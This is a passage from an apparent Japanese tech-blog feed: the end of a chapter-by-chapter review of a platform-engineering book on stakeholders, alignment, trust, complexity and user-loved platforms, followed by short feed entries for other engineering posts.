課題となることがあります。開発者は自分たちが構築したシステムに愛着を持ちがちで、そのサンセットには強い感情的な抵抗を示すことがあります。あるプロジェクトでは, 新システムへの移行が技術的には可能であったにもかかわらず、開発チームの強い愛着により、不必要に長期間両方のシステムを維持することになりました。このような状況を避けるためには、客観的な評価基準と透明性の高い意思決定プロセスが重要です。具体的には、使用状況メトリクス、維持コスト、技術的負債の状況など、定量的なデータに基づく判断を行うことで、感情的な議論を避けることができます。また、サンセット計画の策定においては、段階的なアプローチが効果的です。まず使用制限を設けてから完全な廃止へと移行する方法や、特定の機能のみを段階的に廃止していく方法など、状況に応じた柔軟なアプローチを取ることが重要です。章全体からの学びこの章から得られる最も重要な教訓は、マイグレーションとサンセットは避けられない現実であり、それらを効果的に管理することがプラットフォームチームの価値を証明する機会となるということです。著者が述べているように、マイグレーションは「税金」のようなものかもしれませんが、それは避けられない更新のコストです。プラットフォームエンジニアリングの真価は、より良い自動化、コミュニケーション、実行を通じて、この変更のコストを組織全体で最小化できるという点にあります。私の経験からも、成功するマイグレーションには、技術的な準備、組織的なサポート、そして効果的なコミュニケーションが不可欠です。特に重要なのは、ユーザー体験を最優先し、できる限り多くの作業を事前に準備することです。さらに、マイグレーションやサンセットの経験は、将来のプラットフォーム設計にも活かすべき重要な学びとなります。特に、変更のしやすさを初期の設計段階から考慮することで、将来のマイグレーションコストを低減することができます。最後に、この章は、プラットフォームエンジニアリングにおけるマイグレーションとサンセットの重要性を再認識させ、その実践的なアプローチを提供する貴重な指針となっています。その教訓は、現代のクラウドネイティブ環境において、ますます重要性を増していくことでしょう。Chapter 10. Managing Stakeholder Relationships第10章「Managing Stakeholder Relationships」は、プラットフォームエンジニアリングにおけるステークホルダー管理の重要性と実践的なアプローチについて詳細に解説しています。著者は、プロダクトマネジメントとステークホルダーマネジメントの違いを明確にし、後者がプラットフォームチームの成功にとって極めて重要であることを強調しています。社内政治の教科書作者:高城 幸司ダイヤモンド社Amazonステークホルダーマッピング:パワー・インタレストグリッドFigure 10-1. Power-interest grid, showing the four quadrants of stakeholders based on their power within the organization and interest in your work より引用[Figure 10-1]は、ステークホルダーのマッピングを「パワー」と「関心」の2軸で表現した重要な図です。この図は、ステークホルダーを4つの象限に分類し、それぞれに対する適切なアプローチを示しています。私の経験でも、このような体系的なマッピングは、限られたリソースを効果的に配分する上で非常に有用でした。Figure 10-2. The power-interest grid showing Juan’s stakeholders より引用[Figure 10-2]では、架空の例としてJuanというVPのステークホルダーマップが示されています。この例は、現実のプラットフォームチームが直面する複雑なステークホルダー関係を見事に表現しています。特に重要なのは、パワーと関心の高いステークホルダー(CPOや主要エンジニアリングチームのリーダー)に対する戦略的なアプローチの必要性です。適切な透明性でのコミュニケーション著者は、ステークホルダーとのコミュニケーションにおいて、過度な詳細の共有を避けることの重要性を強調しています。これは、私のチームでも痛感した教訓です。以前、技術的な詳細を過度に共有したことで、かえってステークホルダーの不信感を招いた経験があります。特に重要なのは、1:1ミーティングの戦略的な活用です。初期段階での関係構築には有効ですが、組織の成長とともにその限界も見えてきます。私の経験では、四半期ごとのKeep Satisfied/Keep Informedステークホルダーとの1:1、そして月次でのManage Closelyステークホルダーとの1:1というリズムが効果的でした。受け入れ可能な妥協点の見出し方ステークホルダーとの関係において、妥協は避けられない現実です。特に印象的なのは、「yes, with compromises」というアプローチです。これは、完全な拒否でも無条件の受け入れでもない、現実的な解決策を提供します。シャドウプラットフォームの問題は、多くのプラットフォームチームが直面する課題です。私のチームでも、ある部門が独自のプラットフォームを構築し始めた際、最初は抵抗を感じました。しかし、著者が提案するように、パートナーシップのアプローチを取ることで、最終的には組織全体にとって価値のある結果を生み出すことができました。予算管理とコストの課題経済的な逆風時における予算管理は、プラットフォームチームにとって特に難しい課題です。著者が提案する3段階のアプローチ(明日の受益者の特定、チーム単位での作業のグループ化、カットすべき箇所と維持すべき箇所の明確化)は、実践的で効果的です。私の経験では、ビジネスへの直接的な価値の提示が特に重要でした。例えば、効率化プロジェクトの場合、具体的なコスト削減額を示すことで、予算の正当性を説得力を持って説明することができました。章全体からの学びこの章から得られる最も重要な教訓は、ステークホルダー管理がプラットフォームチームの成功にとって決定的に重要であるという点です。これは単なるコミュニケーションの問題ではなく、組織の戦略的な成功要因です。私の経験からも、良好なステークホルダー関係は、困難な時期を乗り越えるための重要な資産となります。特に、予算削減や組織変更といった厳しい局面では、日頃からの信頼関係が決定的な違いを生みます。最後に、この章が提供する実践的なフレームワークと具体例は、現代のプラットフォームエンジニアリングリーダーにとって、極めて価値のある指針となるでしょう。Part III. What Does Success Look Like?第3部は、プラットフォームエンジニアリングの成功をホリスティックに評価するアプローチを提示しています。Alice in Wonderlandからの引用が示唆するように、プラットフォームチームは常に走り続けているにもかかわらず、その進捗が見えにくいという現実に直面します。著者は、単純なメトリクスやモデルだけでは不十分だとし、アライメント、信頼、複雑性管理、愛される存在という4つの評価領域を提案しています。これは私の実務経験とも強く共鳴します。特に、CNCFのプラットフォームエンジニアリング成熟度モデルを参考にしつつも、より包括的な評価アプローチを取ることの重要性は、多くのプラットフォームリーダーにとって価値のある指針となるでしょう。Chapter 11. Your Platforms Are Aligned第11章「Your Platforms Are Aligned」は、プラットフォームエンジニアリングチームの成功を評価する最初の基準として「アライメント(整合性)」を深く掘り下げています。この章を通じて、著者はプラットフォームチーム間のアライメントがいかに重要か、そしてミスアライメントがどのような問題を引き起こすかを具体的に示しています。特に印象的なのは、冒頭のTom DeMarcoとTim Listerの「チームの目的は目標の達成ではなく、目標の整合性である」という言葉です。この視点は、現代のプラットフォームエンジニアリングにおいて極めて重要な示唆を提供しています。アジャイルチームによる目標づくりガイドブック OKRを機能させ成果に繋げるためのアプローチ作者:小田中 育生翔泳社Amazon目的のアライメント著者は目的のアライメントの重要性を、継続的インテグレーション(CI)プラットフォームと運用システムプラットフォームの対立という具体例を通じて説明しています。この事例は、私自身が経験したプラットフォームチーム間の対立を思い起こさせます。特に印象的なのは、OSプラットフォームチームがインフラストラクチャマインドセットを保持し、顧客体験よりも技術的完璧さを優先してしまうという状況です。著者は、プラットフォームチームの共通目的として、製品(キュレートされた製品アプローチ)、開発(ソフトウェアベースの抽象化)、幅広さ(広範な開発者基盤へのサービス提供)、運用(ビジネスの基盤としての運用)という4つの柱を挙げています。これらの柱は、プラットフォームチームが技術的な卓越性だけでなく、組織全体の価値創出に貢献するための重要な指針となります。製品戦略のアライメント製品戦略のアライメントについて、著者は4つのプラットフォームチームが異なる技術的選択を行い、その結果として5つの異なるコンピュートプラットフォームが存在するという事例を挙げています。これは、私が以前経験した状況と非常によく似ています。チーム間の協調不足が、重複した機能と互換性の問題を引き起こし、結果として顧客にとって使いづらい環境を作ってしまうのです。著者は、この問題に対する解決策として、独立したプロダクトマネジメント、独立したリードIC、全社的な顧客調査からのフィードバック、そして必要に応じた組織再編という4つのアプローチを提案しています。特に、プロダクトマネジメントの独立性について、エンジニアリングマネージャーの直接の影響下から切り離すことの重要性は、実践的な示唆に富んでいます。計画のアライメント計画のアライメントに関して、著者は大規模なプロジェクト(1開発者年以上)に焦点を当てることの重要性を強調しています。細かい計画まで全てを統制しようとすると、チームの機動性が失われ、緊急のニーズに対応できなくなるリスクがあります。これは私の経験とも一致しており、特に大規模な組織では、過度な計画の詳細化がかえって効果的な実行の妨げとなることがあります。著者は、意見の対立を避けることなく、むしろそれを前向きに活用することを提案しています。Amazonの「Have Backbone; Disagree and Commit」という原則を引用しながら、強い信念を持ちつつも、最終的な決定には全面的にコミットするという姿勢の重要性を説いています。プリンシプルドリーダーシップによるアライメント著者は、最終的なアライメントが原則に基づいたリーダーシップから生まれると主張しています。これは単なる上意下達ではなく、協調的で透明性のあるプロセスを通じて、チーム全体が理解し、納得できる決定を導き出すことの重要性を示しています。組織の共通目標を達成するための計画と実行は、単なるトップダウンの意思決定ではなく、チーム全体の協力と理解に基づいて進められるべきです。組織のアライメントへの道筋組織全体のアライメントを実現するには、単なる技術的な調整以上のものが必要です。著者が示す通り、プラットフォームチームのリーダーは、技術的な卓越性とビジネス価値のバランスを取りながら、組織全体の目標達成に向けて多様なステークホルダーと協力していく必要があります。特に、競合するプロジェクトや優先順位の調整において、オープンな議論と明確な意思決定プロセスが重要となります。プラットフォームエンジニアリングの成功は、明確な目標設定と、その目標に向けた組織全体の一貫した取り組みにかかっています。アライメントを通じて、組織は効果的なプラットフォームを構築し、継続的な改善を実現することができます。この章は、そのための具体的な指針と実践的なアプローチを提供しています。章全体からの学びこの章から得られる最も重要な教訓は、プラットフォームアライメントが組織の成功に直接的な影響を与えるという点です。著者が強調するように、アライメントは単なる技術的な統一ではなく、目的、製品戦略、計画という3つの次元で実現される必要があります。私の経験からも、これらの要素が適切に整合していない場合、チーム間の摩擦や非効率な重複投資、そして最終的には顧客満足度の低下につながることを痛感しています。特に印象的なのは、アライメントが「測定可能な改善」と密接に結びついているという著者の指摘です。プラットフォームの成功を評価するには、まず目標について合意し、それに向かって進む必要があります。アライメントのプロセスを通じて、組織は焦点を当てるべき領域をより明確に理解し、具体的な目標と作業項目を設定することができます。私の実務経験でも、製品市場のフィードバックを定期的に収集し、内部メトリクスだけでなく実際のユーザーの声に耳を傾けることで、プラットフォームが選択した方向性が正しいかどうかを判断できることを学びました。これは著者が指摘する「プラットフォームが改善すべき点を意識的に選択できる」という考えと完全に一致します。著者が指摘するように、この章の内容はプラットフォームエンジニアリングに特有のものではありません。しかし、プラットフォームエンジニアリングの文脈では、その価値が直接的な収益成長などの明確な指標で測定できないことが多く、投資先の選択においてより大きな裁量が求められます。これは、プラットフォームリーダーシップの最大の課題の一つとなっています。最後に、この章は個々のプロダクトチームが独自の視点で構築を進めることの危険性を明確に示しています。確かに、これによって部分的な成功は得られるかもしれませんが、チーム全体としての整合性が欠如すると、真の卓越性は達成できません。プラットフォームエンジニアリングの真の成功は、技術的な優秀性だけでなく、組織全体のアライメントを通じて実現されるのです。これらの学びを実践に移す際は、組織の規模や成熟度に応じて適切にアプローチを調整する必要があります。アライメントは一朝一夕には達成できませんが、継続的な対話と調整を通じて、段階的に実現していくことが可能です。Chapter 12. Your Platforms Are Trusted第12章「Your Platforms Are Trusted」は、プラットフォームエンジニアリングにおける信頼の重要性と、その獲得・維持の方法について深く掘り下げています。著者は、Warren Buffettの「信頼は空気のようなものだ - 存在するときは誰も気付かないが、欠如したときは誰もが気付く」という言葉を引用しながら、プラットフォームの成功には信頼が不可欠であることを強調しています。特に、この章では運用能力、大規模投資の意思決定、そしてビジネスへのボトルネック化という3つの主要な信頼喪失のリスクに焦点を当てています。運用における信頼構築運用面での信頼構築について、著者は単なるプラクティスの導入以上のものが必要だと指摘しています。私自身の経験でも、オンコール体制やSLOの設定だけでは、アプリケーションチームの信頼を完全に獲得することは困難でした。特に印象的なのは、経験値の圧縮が不可能であるというAmazonの教訓です。これは、大規模運用の経験は実際の運用を通じてしか得られないという現実を端的に表現しています。著者は、この課題に対する2つのアプローチを提案しています。1つ目は大規模運用経験を持つリーダーの採用と権限付与、2つ目は運用リスクの許容度に基づくユースケースの優先順位付けです。これらは、私が過去に経験した運用信頼性の向上プロジェクトとも共鳴する実践的なアプローチです。信頼構築の実践において、私たちのチームで特に効果的だったのは、段階的なアプローチの採用です。まず、非クリティカルなワークロードから始めて、運用の安定性を実証し、そこから徐々にミッションクリティカルなワークロードへと移行していく方法を取りました。例えば、新しいコンテナオーケストレーションプラットフォームの導入時には、最初は内部の開発環境のワークロードのみを対象とし、3ヶ月間の安定運用を確認した後に、段階的に本番環境のワークロードを移行していきました。この過程で特に重要だったのは、透明性の高いコミュニケーションです。週次のステータスレポートでは、インシデントの詳細な分析結果だけでなく、それに基づく具体的な改善計画も共有しました。また、主要なステークホルダーとの定期的な1on1ミーティングでは、技術的な課題だけでなく、ビジネス目標との整合性についても率直な議論を行いました。このような取り組みを通じて、運用面での信頼を着実に築き上げることができました。syu-m-5151.hatenablog.com大規模投資における信頼構築大規模投資に関する信頼構築について、著者は技術的ステークホルダーの賛同とエグゼクティブスポンサーシップの重要性を強調しています。私の経験でも、技術的な正当性だけでなく、ビジネス価値の明確な説明が、大規模投資の承認を得る上で決定的に重要でした。特に、既存システムの維持管理を怠らないことの重要性は、実務を通じて痛感しています。著者が提示する「Icicle」チームの事例は、特に示唆に富んでいます。高レイテンシーに敏感なワークロードを持つチームの信頼を獲得するために、プラットフォームチームが自身の技術的な「正しさ」にこだわるのではなく、顧客のニーズに合わせて柔軟に戦略を変更した例は、現代のプラットフォームエンジニアリングにおいて極めて重要な教訓を提供しています。私たちの組織では、大規模投資の承認プロセスにおいて、段階的なマイルストーンと明確な成功指標の設定を重視しています。例えば、新しいマイクロサービスプラットフォームへの投資では、6ヶ月ごとの具体的な目標を設定し、各フェーズでの成果を定量的に評価できるようにしました。これにより、投資の妥当性を継続的に検証し、必要に応じて計画を調整することが可能になりました。特に重要なのは、ビジネス価値の可視化です。技術的な改善だけでなく、開発者生産性の向上、運用コストの削減、新機能のリリース速度の改善など、具体的な数値で効果を示すことで、エグゼクティブの継続的なサポートを得ることができました。この経験から、大規模投資の成功には、技術的な実現可能性とビジネス価値の両面からの綿密な検討が不可欠だと実感しています。優先順位付けと信頼ビジネスのボトルネックとなることを避けるための信頼構築について、著者はベロシティの文化醸成とプロジェクトの優先順位付けの重要性を説いています。私のチームでも、計画された作業と緊急の要求のバランスを取ることは常に課題でした。特に、「次の四半期のOKRまで待つ必要がある」という対応は、アジャイルなビジネス環境では受け入れられないという著者の指摘は、現実の組織運営と強く共鳴します。著者が紹介するDiego Quirogaの事例は、ボトルネック解消の実践的なアプローチを示しています。特に、セルフサービス化による効率化とサポート要求の分析に基づく改善は、私自身のプラットフォーム改善プロジェクトでも有効だった施策です。過度に結合したプラットフォームの教訓著者は、「バッテリー込み」アプローチの失敗事例を通じて、プラットフォームの過度な結合がもたらす問題を説明しています。この事例は、エンドツーエンドのワークフローを提供しようとするあまり、コンポーネント間の結合が強くなり、最終的に運用の安定性と機能追加の柔軟性を失ってしまうという、多くのプラットフォームチームが陥りがちな罠を見事に描き出しています。章全体からの学びこの章の最も重要な教訓は、信頼の構築には時間がかかるが、その喪失は一瞬であるという現実です。運用上の予期せぬ問題、ビジネスの急激な変化、チームの離職など、私たちの制御を超えた多くの要因が信頼を損なう可能性があります。そのため、プラットフォームリーダーには、日々の活動を通じて継続的に信頼を強化していく努力が求められます。特に印象的なのは、多くのプラットフォームリーダーが陥りがちな傲慢さへの警告です。技術的な正しさにこだわるあまり、顧客やステークホルダーの声に耳を傾けない態度は、長期的な成功の妨げとなります。プラットフォームの真の成功は、技術的な卓越性とビジネス要求への迅速な対応の両立にかかっているのです。この章の学びは、現代のクラウドネイティブ環境において、ますます重要性を増していくでしょう。プラットフォームの信頼性と柔軟性の両立、そして顧客との信頼関係の構築は、今後のプラットフォームエンジニアリングの成功に不可欠な要素となります。Chapter 13. Your Platforms Manage Complexity第13章「Your Platforms Manage Complexity」は、プラットフォームエンジニアリングにおける複雑性管理の本質と実践について深く掘り下げています。著者は、Donald A. Normanの「人々の望ましい行動ではなく、実際の行動に合わせて設計しなければならない」という言葉を引用しながら、複雑性管理が単なる技術的な課題ではなく、人間の行動や組織の現実を考慮に入れた総合的なアプローチを必要とすることを強調しています。 speakerdeck.com意図せぬ複雑性の管理複雑性管理の成功を測る重要な指標の一つは、アプリケーションチームが必要とする「グルー(接着剤)コード」の量です。私の経験では、プラットフォームチームが提供する抽象化が不適切な場合、アプリケーションチームは独自のグルーコードを書かざるを得なくなり、結果として全体の複雑性が増大してしまいます。特に注目すべきは、著者が指摘する「ヒューマングルー」の問題です。これは、技術的なグルーコードの削減を目指すあまり、人間による手動の調整や対応に依存してしまう状況を指します。私のチームでも、以前は運用上の問題解決に人間の介入を多用していましたが、これは持続可能な解決策ではありませんでした。このような課題に対して、私たちは自動化と適切な抽象化のバランスを重視するアプローチを採用しています。例えば、マイグレーションプロジェクトでは、所有権メタデータレジストリを活用し、チケットの自動割り当てと進捗管理を実現しました。これにより、人的なプロジェクト管理の負担を大幅に削減することができました。シャドウプラットフォームの管理シャドウプラットフォームの問題について、著者は完全な抑制ではなく、適切な管理の重要性を説いています。私の経験でも、アプリケーションチームによる独自のプラットフォーム構築を全面的に禁止することは、イノベーションの芽を摘んでしまう危険性があります。特に印象的なのは、シャドウプラットフォームを組織の学習機会として捉える視点です。あるプロジェクトでは、データサイエンスチームが構築した独自のプラットフォームを、最終的に全社的なソリューションへと発展させることができました。これは、パイオニア的なイノベーションとエンタープライズレベルの安定性のバランスを取る良い例となりました。著者が提示する「Single Pane of Glass」のアンチパターンの分析も示唆に富んでいます。統合UIの構築は一見魅力的に見えますが、実際にはベンダーツールの進化に追従することの難しさや、異なるユーザーペルソナのニーズへの対応など、予想以上の複雑性をもたらす可能性があります。成長の管理による複雑性制御著者は、無制限な成長が複雑性を増大させる要因となることを警告しています。これは私の実務経験とも強く共鳴します。特に印象的なのは、効率性の向上とチーム規模の拡大のバランスについての指摘です。私のチームでも、新しい課題に直面するたびに人員を増やすのではなく、まず既存のプロセスの効率化や自動化を検討するようにしています。著者が提案する「既存の領域での新しい作業は、そのチームの既存のメンバーによってまかなわれるべき」というルールは、実践的な指針として非常に有用です。これにより、チームは優先順位の明確化と効率化への投資を迫られ、結果として複雑性の管理にも寄与します。プロダクトディスカバリーを通じた複雑性管理プロダクトディスカバリーの重要性について、著者はオープンソースシステムの導入を例に説明しています。私の経験では、顧客の要求をそのまま受け入れてオープンソースシステムを提供するのではなく、真の要件の理解と適切な抽象化のレベルを見極めることが重要です。特に印象的なのは、データ処理系のOSSに関する事例です。PostgreSQL、Cassandra、MongoDBなどの広範なインターフェースを持つシステムの運用は、ユースケースと利用者の増加に伴って線形に複雑性が増大していきます。これは、多くのプラットフォームチームが直面する現実的な課題です。内部と外部の複雑性のバランス最後に著者が示すデータプラットフォームの事例は、複雑性管理の実践的なチャレンジを見事に描き出しています。10人程度のチームがPostgreSQL、Kafka、Cassandraなどの複数のOSSシステムを運用する中で直面した課題は、私自身の経験とも強く共鳴します。特に、運用負荷の増大と顧客要求の多様化のバランスを取ることの難しさは、多くのプラットフォームチームが直面する普遍的な課題です。著者が描写する改善の試行錯誤のプロセスは、とりわけ示唆に富んでいます。ベンダーのホステッドサービスへの移行、SLAの明確化、APIの完全なカプセル化など、様々なアプローチを試みながらも、それぞれに課題があったという経験は、私たちの組織でも同様でした。特に印象的なのは、これらの「失敗」を通じて、真の顧客ニーズの理解と実現可能な解決策の発見につながっていったという点です。最終的な解決策として導き出された、シンプルな(key, value)セマンティクスのプラットフォームと特定のユースケースに最適化されたSQL系システムの組み合わせは、複雑性管理の理想的なアプローチを示しています。これは、完璧な解決策を一度に実現しようとするのではなく、段階的な改善と顧客との密接な協力を通じて、持続可能な解決策を見出していく過程の重要性を示しています。章全体からの学びこの章の最も重要な教訓は、複雑性管理が継続的な取り組みであり、完全な解決は望めないという現実的な認識です。しかし、これは諦めるべき理由ではなく、むしろ組織の北極星として、継続的な改善の方向性を示す指針となります。私の経験からも、複雑性管理の成功には、技術的なソリューション、組織的な取り組み、そして顧客との協力の3つの要素が不可欠です。特に重要なのは、完璧を求めるのではなく、継続的な改善と学習のサイクルを確立することです。最後に、この章は現代のプラットフォームエンジニアリングが直面する本質的な課題に対する実践的な洞察を提供しています。複雑性の管理は、技術的な課題であると同時に、組織的な課題でもあります。プラットフォームエンジニアリングチームのリーダーとして、この両面からのアプローチを常に意識しながら、持続可能な改善を推進していく必要があるでしょう。Chapter 14. Your Platforms Are Loved第14章「Your Platforms Are Loved」は、プラットフォームエンジニアリングにおける「愛される」という概念の意味と重要性について深く掘り下げています。著者は、Tina Turnerの「What\'s love got to do with it?」という問いかけから始め、内部向けのツールが「愛される」必要があるのかという根本的な疑問に対して、説得力のある回答を提示しています。この章では、プラットフォームが単に機能するだけでなく、ユーザーに愛される存在となることが、実は生産性向上の重要な指標となることを示しています。愛されるプラットフォームの本質著者は、日常生活で私たちが愛用する道具を例に挙げ、プラットフォームが「愛される」とはどういうことかを説明しています。私の経験でも、最も成功したプラットフォームは、必ずしも最も高価なものや機能が豊富なものではなく、特定の目的に対して適切に設計され、信頼性高く動作するものでした。特に印象的なのは、著者が生産性の直接的な測定の難しさに触れながら、「愛される」ことを生産性の代理指標として捉える視点です。私のチームでも、以前は定量的なメトリクスにこだわりすぎて、実際のユーザー体験を見失いかけた時期がありました。単純な採用率や効率性の指標に固執すると、プラットフォームチームが制御しやすいシステムを作ることに注力してしまい、実際のユーザーニーズを見失うという著者の指摘は、多くのプラットフォームチームが陥りがちな罠を的確に描写しています。「単に動く」から「愛される」への進化著者が紹介するAmazonのApolloプラットフォームの事例は、プラットフォームが「愛される」ために必要な要素を具体的に示しています。特に印象的なのは、優れたUIと自動化インターフェース、強い意見を持った設計、そして必要に応じて抽象化を「突き破れる」柔軟性という3つの特徴です。『INSPIRED 熱狂させる製品を生み出すプロダクトマネジメント』では、成熟したIT企業の製品開発に共通する3つの特徴として、リスクを開発の最終段階ではなく初期段階で積極的に特定・対処すること、製品の定義とデザインを順序立てて進めるのではなく協調的に同時進行させること、そして単なる機能実装ではなく本質的な問題解決にフォーカスすることを挙げています。また著者は、優れたプロダクトマネジャーの条件として、顧客、データ、自社ビジネス、そして市場・業界それぞれについての深い知見を持つことが不可欠だと説いています。こちらの方が良いでしょうか?プロダクトマネジメントの本質をよりシンプルに表現してみました。INSPIRED 熱狂させる製品を生み出すプロダクトマネジメント作者:マーティ・ケーガン,佐藤真治,関満徳日本能率協会マネジメントセンターAmazon私のチームでも、最近完了したコンテナオーケストレーションプラットフォームの刷新プロジェクトで、これらの原則を意識的に取り入れました。特に、「システムの状態をUIが正確に反映している」という信頼性の確保と、「特殊なケースにも対応できる拡張ポイントの提供」というバランスの取れた設計により、ユーザーからの高い評価を得ることができました。ハックのような解決策も愛される理由著者が紹介する「Waiter」プラットフォームの事例は、特に示唆に富んでいます。技術的には「ハック」のように見える実装でも、ユーザーの実際の問題を解決し、摩擦を最小限に抑えることができれば、強く支持される可能性があることを示しています。私の経験でも、「理想的」な設計からは外れるものの、ユーザーの具体的な課題を解決する実装が、結果として大きな価値を生み出すケースを何度か経験しました。例えば、あるマイクロサービスプラットフォームでは、理想的なマイクロサービスアーキテクチャの原則から外れる実装を許容することで、開発者の生産性を大幅に向上させることができました。明白な価値提供による信頼獲得著者が紹介するS3互換オブジェクトストアの事例は、既知の価値と適切な実装の組み合わせの重要性を示しています。特に重要なのは、認知度、互換性、エンジニアリング品質、市場投入までの時間という4つの要素です。これは、私が過去に経験した失敗から学んだ教訓とも一致します。章全体からの学びこの章の最も重要な教訓は、プラットフォームが「愛される」ということは、単なる感情的な問題ではなく、実際の生産性と価値創出に直結するという点です。特にSmruti Patelの「マルチツール」という比喩は、プラットフォームの本質を見事に表現しています。私の経験からも、最も成功したプラットフォームは、必ずしも最新のトレンドを追いかけたものではなく、基本的な信頼性を確保しながら、ユーザーの実際の問題を着実に解決していくアプローチを取ったものでした。愛されるプラットフォームを構築するには、技術的な卓越性だけでなく、ユーザーとの深い信頼関係の構築が不可欠です。これは一朝一夕には達成できませんが、継続的な改善と誠実な対話を通じて、確実に実現できる目標なのです。おわりに本書は、プラットフォームエンジニアリングという営みが、技術を極めることと人に寄り添うことの両立を求められる実践であることを、様々な現場での経験を通じて描き出しています。技術的な卓越性を追求しながらも、組織の変革に寄り添い、ステークホルダーとの信頼関係を育み、持続可能な文化を醸成していくという総合的な視点は、現代のソフトウェア開発組織が直面する本質的な課題に対する深い洞察を提供しています。プラットフォームエンジニアリングは、技術的な基盤を「作って終わり」にするのではなく、組織とともに成長し続ける生命体のような存在です。それは、日々の地道な技術の研鑽と、組織やユーザーのニーズへの繊細な理解が融合することで初めて、真の価値を生み出すことができます。本書は、その困難な実践に挑戦する人々にとって、同じ道を歩む先達からの贈り物となるでしょう。今後のソフトウェア開発において、プラットフォームエンジニアリングはますます重要な役割を担っていくことでしょう。しかし、その本質は変わることなく、技術を極めることと人に寄り添うことの両立にあり続けるはずです。本書で示された知見をもとに、各組織が自らの文脈に即した実践を積み重ね、技術と人間性が調和した真に価値あるプラットフォームエンジニアリングを実現していくことを願ってやみません。みなさん、最後まで読んでくれて本当にありがとうございます。途中で挫折せずに付き合ってくれたことに感謝しています。読者になってくれたら更に感謝です。Xまでフォロワーしてくれたら泣いているかもしれません。","isoDate":"2024-10-24T21:06:00.000Z","dateMiliSeconds":1729803960000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"スリーシェイク、 「内製化支援推進 AWS パートナー」認定を取得","link":"https://sreake.com/blog/aws_partner/","contentSnippet":"株式会社スリーシェイク(本社:東京都新宿区、代表取締役社長:吉田 拓真、以下スリーシェイク)は、 アマゾン ウェブ サービス(以下AWS)の AWS パートナープログラムにおける「内製化支援推進 AWS パートナー」に認定されたことをお知らせします。The post スリーシェイク、 「内製化支援推進 AWS パートナー」認定を取得 first appeared on sreake.com | 株式会社スリーシェイク.","isoDate":"2024-10-23T01:00:00.000Z","dateMiliSeconds":1729645200000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Rでndjson形式のログを解析する","link":"https://blog.atusy.net/2024/10/22/anaylze-ndjson-logs-in-r/","contentSnippet":"最近、ndjson形式のログをRで解析しました。やはりtidyverseを使える体験のよさは他の追随を許しません。ただ、ndjson形式を直接読み込む方法を知らずに、jqコマンドを使って通常のJSON形式に変換してから読み込んでいました(cat file.ndjson | jq -c -s . > file.json)。読み込みからRで完結したいと思ったので、方法を調べてみました。","isoDate":"2024-10-22T00:00:00.000Z","dateMiliSeconds":1729555200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"KubernetesセキュリティDeep Dive","link":"https://sreake.com/blog/kubernetes-security-deep-dive/","contentSnippet":"自己紹介 高橋 楓 公立千歳科学技術大学理工学部2年の高橋楓です。普段は趣味や他社の長期インターンにてソフトウェア開発を行っており、インフラ基盤にはDockerを利用しています。しかし、KubernetesやGoogle […]The post KubernetesセキュリティDeep Dive first appeared on sreake.com | 株式会社スリーシェイク.","isoDate":"2024-10-21T11:49:27.000Z","dateMiliSeconds":1729511367000,"authorName":"Sreake","authorId":"Sreake"},{"title":"生成AI入門","link":"https://speakerdeck.com/shukob/sheng-cheng-airu-men-340f58db-c1be-4877-92b9-7fbf1df3105e","contentSnippet":"https://genai-users.connpass.com/event/333130/\\rOSCオンラインで生成AIの基礎知識から、実際に活用できる技術まで、幅広く解説しました。\\r\\r生成AIとは何か、その仕組みを解説します。\\r生成AIモデルを比較し、具体的なユースケースを紹介します。\\rプロンプトエンジニアリング、RAG (Retrieval Augmented Generation)などの技術を説明します。\\rオープンソースライブラリLangChainについてご紹介します。\\r最後に生成AIが社会に与える影響や、今後の展望について考えます。","isoDate":"2024-10-19T04:00:00.000Z","dateMiliSeconds":1729310400000,"authorName":"Shu Kobuchi","authorId":"kobuchi"},{"title":"k6 DevTools recorder を使ってみた","link":"https://zenn.dev/z63d/articles/0da90534fe5964","contentSnippet":"k6 DevTools recorder とはk6 のブラウザテストのスクリプトを生成してくれるツール(Chrome 拡張機能)です。Chrome DevTools Recorder を使って記録したフローをスクリプトに変換してくれます。https://grafana.com/docs/k6/latest/using-k6/test-authoring/create-tests-from-recordings/using-the-devtools-recorder/ 使ってみるCreate a script from a recording に使い方が書いてあります。C...","isoDate":"2024-10-16T12:00:33.000Z","dateMiliSeconds":1729080033000,"authorName":"Kaita Nakamura","authorId":"kaita-nakamura"},{"title":"スリーシェイク、「Developers X Summit 2024」に出展","link":"https://sreake.com/blog/developers-x-summit-2024/","contentSnippet":"株式会社スリーシェイク(本社:東京都新宿区、代表取締役社長:吉田 拓真、以下スリーシェイク)が提供するSRE総合支援サービス「Sreake(スリーク)」は、2024年11月14日(木) に開催される「Developers X Summit 2024」にブース出展することをお知らせします。The post スリーシェイク、「Developers X Summit 2024」に出展 first appeared on sreake.com | 株式会社スリーシェイク.","isoDate":"2024-10-15T01:36:55.000Z","dateMiliSeconds":1728956215000,"authorName":"Sreake","authorId":"Sreake"},{"title":"「大規模システムの効率的運用の裏側」というイベントに登壇するのでどんなこと話すか整理する #aeon_tech_hub","link":"https://syu-m-5151.hatenablog.com/entry/2024/10/15/101516","contentSnippet":"大規模システム運用の難しさは、その規模と複雑性に起因します。開発する人も多く、運用に関わる人間も多く、そしてシステムの性能や信頼性を評価する人間も多数います。この多様な関係者の利害が複雑に絡み合う中、技術的な課題に加え、人的・組織的な課題も顕著になります。さらに、複雑に構成されたシステムコンポーネントと日々向き合いながら、刻々と変化するビジネスの要求に応えていく必要があります。これらの要因が重なり合い、大規模システムの運用を極めて困難なものにしているのです。aeon.connpass.comはじめにこのたび、2024年10月23日に開催予定の「<Platform Engineering、DevOps、CCoE>大規模システムの効率的運用の裏側」というイベントに登壇者としてお呼びいただきました。大規模システムの効率的運用は非常に複雑な課題であり、アンチパターンはあっても画一的な正解はないと考えています。時に、人的・組織的な制約から、アンチパターンと言われるような策を採用せざるを得ない状況もあるでしょう。システム運用アンチパターン ―エンジニアがDevOpsで解決する組織・自動化・コミュニケーション作者:Jeffery D. 